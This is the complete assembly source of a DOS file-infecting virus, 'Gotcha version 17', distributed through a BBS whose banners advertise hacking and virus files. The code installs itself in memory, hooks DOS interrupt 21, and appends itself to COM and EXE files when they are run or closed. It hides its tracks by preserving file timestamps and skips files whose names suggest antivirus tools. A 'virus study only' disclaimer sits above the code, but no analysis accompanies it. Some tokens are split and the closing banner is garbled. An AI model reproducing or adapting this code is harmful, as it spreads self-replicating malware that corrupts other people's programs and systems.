2022-08-21 09:07:57 +00:00
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* Gotcha version 17
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
.RADIX 16
cseg seg ment
assume cs : cs eg , ds : cs eg , es : nothing
VERSION equ 17 d
FILELEN equ end - start
RESPAR equ ( FILELEN / 16 d ) + 18 d
BUFLEN equ 18
ENVLEN equ si gnature - envstring
COMSIGN equ 0
EXESIGN equ 1
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 0100
begin: db 0 E9 , BUFLEN + 1 , 0 ;jump to virus entry
;****************************************************************************
;* Data
;****************************************************************************
org 0103
start:
buffer db 0CDh , 20 ;original code
db ( BUFLEN - 2 ) dup ( ? )
comexe db COMSIGN ;dummy program is a COM program
;****************************************************************************
;* Install the virus
;****************************************************************************
call start2
start2: pop si
sub si ,( BUFLEN + 4 ) ;si = begin virus
mov di , 0100
cld
cmp byte ptr cs :[ si + BUFLEN ], COMSIGN
jz entryC
entryE: mov ax , ds ;calculate CS
add ax , 10
add ax , cs :[ si + 16 ]
push ax ;push new CS on stack
push cs :[ si + 14 ] ;push new IP on stack
jmp short entcheck
entryC: push cs ;push new CS on stack
push di ;push new IP on stack
push di
push si
movsw ;restore old file-begin
movsb
pop si
pop di
entcheck: mov ax , 0 DADA ;already installed?
int 21
cmp ah , 0 A5
je entstop
mov ax , 3000 ;test DOS version >= 3.1?
int 21
xchg ah , al
cmp ax , 030 A
jb entstop
push ds
push es
mov ax , ds ;adjust memory-size
dec ax
mov ds , ax
cmp byte ptr ds :[ 0000 ], 5 A
jnz cancel
mov ax , ds :[ 0003 ]
sub ax , low RESPAR
jb cancel
mov ds :[ 0003 ], ax
sub word ptr ds :[ 0012 ], low RESPAR
mov es , ds :[ 0012 ] ;copy program to top
push cs
pop ds
mov cx , FILELEN
rep movsb
mov ds , cx ;get original int21 vector
mov si , 4 * 21
movsw ;move it to the end
movsw
push es ;set vector to new handler
pop ds
mov dx , offset ni21 - 3
mov ax , 2521
int 21
cancel: pop es
pop ds
entstop: db 0CBh ;retf
;****************************************************************************
;* Interupt 24 handler
;****************************************************************************
ni24: mov al , 3
iret
;****************************************************************************
;* Interupt 21 handler
;****************************************************************************
ni21: pushf
cmp ax , 0 DADA ;install-check ?
je do_DADA
push dx
push cx
push bx
push ax
push si
push di
push ds
push es
cmp ah , 3 E ;close ?
jne vvv
mov ah , 45 ;duplicate handle
jmp short doit
vvv: cmp ax , 4 B00 ;execute ?
jne exit
mov ah , 3Dh ;open the file
doit: int 21
jc exit
xchg ax , bx
call infect
exit: pop es
pop ds
pop di
pop si
pop ax
pop bx
pop cx
pop dx
popf
org21: jmp dword ptr cs :[ oi21 - 3 ] ;call to old int-handler
do_DADA: mov ax , 0 A500 + VERSION ;return a signature
popf
iret
;****************************************************************************
;* Close the file
;****************************************************************************
close: mov ah , 3 E ;close the file
pushf
push cs
call org21
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
push bx
mov ah , 62 ;get segment-adres of PSP
int 21
mov ds , bx ;get seg-adres of environment
mov es , ds :[ 002 C ]
xor di , di
pop bx
push cs
pop ds
envloop: mov si , offset envstring - 3 ;check the environment
mov cx , ENVLEN
repz cmpsb
jz cl ose ;exit if item found
dec di ;goto next item
xor al , al
mov ch , 0 FF
repnz scasb
cmp byte ptr es :[ di ], 0 ;finnished environment?
jnz envloop
mov ax , 3300 ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov dx , bx
mov ax , 3524 ;get int24 vector
int 21
push bx
push es
mov bx , dx
push cs
pop ds
mov dx , offset ni24 ;set int24 vector
mov ah , 25
push ax
int 21
mov ax , 1220 ;get file-table entry
push bx
push ax
int 2 F
mov bl , es :[ di ]
pop ax
sub al , 0 A
int 2 F
pop bx
push es
pop ds
push [ di + 2 ] ;save attribute & open-mode
push [ di + 4 ]
cmp word ptr [ di + 28 ], 'XE' ;check extension
jne not_exe
cmp byte ptr [ di + 2 A ], 'E'
jmp short ch eck
not_exe: cmp word ptr [ di + 28 ], 'OC'
jne cl ose1v
cmp byte ptr [ di + 2 A ], 'M'
check: je ch eck_name
close1v: jmp cl ose1
check_name: cmp byte ptr [ di + 20 ], 'V' ;name is V*.* ?
je cl ose1v
cmp byte ptr [ di + 20 ], 'F' ;name is F*.* ?
je cl ose1v
mov cx , 7 ;name is *SC*.* ?
mov ax , 'CS'
push di
add di , 21
SCloop: dec di
scasw
loopnz SCloop
pop di
je cl ose1v
mov byte ptr [ di + 2 ], 2 ;open for read/write
mov byte ptr [ di + 4 ], 0 ;clear attributes
call getlen
mov cl , 3
sub ax , cx ;goto signature
sbb dx , 0
call goto
push ax ;save old offset
push dx
push cs
pop ds
mov si , 0100 ;read signature
mov dx , si
mov ah , 3 F
int 21
cmp word ptr [ si ], '!A' ;already infected?
je cl ose2v
call gotobegin
mov cl , BUFLEN ;read begin
mov dx , si
mov ah , 3 F
int 21
cmp word ptr [ si ], 5A4Dh ;EXE ?
jz do_EXE
cmp word ptr [ si ], 4 D5A
jz do_EXE
do_COM: mov byte ptr [ si + BUFLEN ], COMSIGN
cmp byte ptr es :[ di + 12 ], 0 FC ;check length
jnb cl ose2
cmp byte ptr es :[ di + 12 ], 3
jbe cl ose2
call writeprog ;write program to end of file
jnz cl ose2
mov byte ptr [ si ], 0E9h ;JMP xxxx'
call getoldlen
add ax ,( BUFLEN - 2 )
mov word ptr [ si + 1 ], ax
jmp short done
close2v: jmp short cl ose2
do_EXE: mov byte ptr [ si + BUFLEN ], EXESIGN
call writeprog ;write program to end of file
jnz cl ose2
call getlen ;calculate new length
mov cx , 0200 ;put new length in header
div cx
inc ax
mov word ptr [ si + 4 ], ax
mov word ptr [ si + 2 ], dx
call getoldlen ;calculate new CS & IP
mov cx , 0010
div cx
sub ax , word ptr [ si + 8 ]
mov word ptr [ si + 16 ], ax ;put CS in header
add dx , BUFLEN + 1
mov word ptr [ si + 14 ], dx ;put IP in header
done: call gotobegin
mov cx , BUFLEN ;write new begin
mov dx , si
mov ah , 40
int 21
close2: push es
pop ds
pop dx ;restore old offset in file
pop ax
call goto
or byte ptr [ di + 6 ], 40 ;no time-change
close1: call cl ose
or byte ptr [ di + 5 ], 40 ;no EOF on next close
pop [ di + 4 ] ;restore attribute & open-mode
pop [ di + 2 ]
pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
ret
;****************************************************************************
;* Get original length of program
;****************************************************************************
getoldlen: call getlen
sub ax , FILELEN
sbb dx , 0
ret
;****************************************************************************
;* Get length of program
;****************************************************************************
getlen: mov ax , es :[ di + 11 ]
mov dx , es :[ di + 13 ]
ret
;****************************************************************************
;* Goto new offset DX:AX
;****************************************************************************
gotobegin: xor ax , ax
cwd
goto: xchg ax , es :[ di + 15 ]
xchg dx , es :[ di + 17 ]
ret
;****************************************************************************
;* Write virus to the file
;****************************************************************************
writeprog: call getlen
call goto
mov cx , FILELEN ;write virus
mov dx , si
mov ah , 40
int 21
cmp cx , ax ;are all bytes written?
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
envstring db 'E=mc<6D> ' , 0
signature: db 'GOTCHA!' , 0 ;I have got you! :-)
oi21:
end:
cseg ends
end begin
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ;
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ;
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ;
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ;